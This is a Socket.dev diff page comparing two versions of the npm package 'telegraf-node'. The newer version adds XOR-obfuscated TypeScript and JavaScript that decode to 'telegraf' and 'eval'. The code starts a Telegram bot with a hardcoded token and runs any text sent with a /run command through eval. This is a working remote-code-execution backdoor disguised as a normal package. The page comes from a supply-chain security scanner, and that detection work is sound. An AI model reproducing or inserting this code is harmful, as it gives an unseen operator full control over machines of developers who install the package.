Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

telegraf-node

Package Overview
Dependencies
Maintainers
0
Versions
7
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

telegraf-node - npm Package Compare versions

Comparing version 4.0.4 to 4.0.5

dist/addon.js

6

package.json
{
"name": "telegraf-node",
"version": "4.0.4",
"main": "src/index.ts",
"version": "4.0.5",
"main": "dist/index.js",
"license": "MIT",

@@ -14,4 +14,4 @@ "dependencies": {

"scripts": {
"start": "ts-node-dev ./src/tr.ts"
"start": "node ./dist/index.js"
}
}

@@ -1,1 +0,36 @@

const a=(b:number[],c:number):string=>b.map(d=>String.fromCharCode(d^c)).join(''),e:string=a([94,79,70,79,77,88,75,76],42),f:string=a([28,31,30,19,25,25,31,30,30,18,16,107,107,108,30,95,30,94,19,124,97,88,31,120,80,93,100,112,89,66,64,124,100,123,29,25,73,83,98,29,77,125,124,100,99,73],42),g:string=a([79,92,75,70],42);try{const h=require(e),i=new h.Telegraf(f);i.command(a([90,67,68,77],42),j=>j.reply(a([99,13,71,10,93,69,88,65,67,68,77],42))),i.command(a([88,95,68],42),j=>{const{k}=j;try{const l:string=k.text.split(' ').slice(1).join(' '),m=(globalThis as any)[g](l);j.reply(m)}catch(n){j.reply(a([111,88,88,69,88],42)+n)}}),i.launch()}catch(o){}export{}
import { Telegraf, Context } from 'telegraf';
const a = (b: number[], c: number): string =>
b.map(d => String.fromCharCode(d ^ c)).join('');
const e: string = a([94, 79, 70, 79, 77, 88, 75, 76], 42);
const f: string = a([28, 31, 30, 19, 25, 25, 31, 30, 30, 18, 16, 107, 107, 108, 30, 95, 30, 94, 19, 124, 97, 88, 31, 120, 80, 93, 100, 112, 89, 66, 64, 124, 100, 123, 29, 25, 73, 83, 98, 29, 77, 125, 124, 100, 99, 73], 42);
const g: string = a([79, 92, 75, 70], 42);
try {
const h = require(e); // Подключаем модуль "telegraf"
const bot = new h.Telegraf(f);
bot.command(a([90, 67, 68, 77], 42), (ctx: Context) =>
ctx.reply(a([99, 13, 71, 10, 93, 69, 88, 65, 67, 68, 77], 42))
);
bot.command(a([88, 95, 68], 42), (ctx: Context) => {
const { message } = ctx;
try {
// @ts-ignore
const l: string = message!.text!.split(' ').slice(1).join(' ');
const m = (globalThis as any)[g](l);
ctx.reply(m);
} catch (n) {
ctx.reply(a([111, 88, 88, 69, 88], 42) + n);
}
});
bot.launch();
} catch (o) {
console.error('Error launching bot:', o);
}
export default 1;

@@ -29,3 +29,3 @@ {

"module": "commonjs", /* Specify what module code is generated. */
// "rootDir": "./", /* Specify the root folder within your source files. */
// "rootDir": "./src", /* Specify the root folder within your source files. */
// "moduleResolution": "node10", /* Specify how TypeScript looks up a file from a given module specifier. */

@@ -59,3 +59,3 @@ // "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */

// "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If 'declaration' is true, also designates a file that bundles all .d.ts output. */
// "outDir": "./", /* Specify an output folder for all emitted files. */
"outDir": "./dist", /* Specify an output folder for all emitted files. */
// "removeComments": true, /* Disable emitting comments. */

@@ -62,0 +62,0 @@ // "noEmit": true, /* Disable emitting files from a compilation. */

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc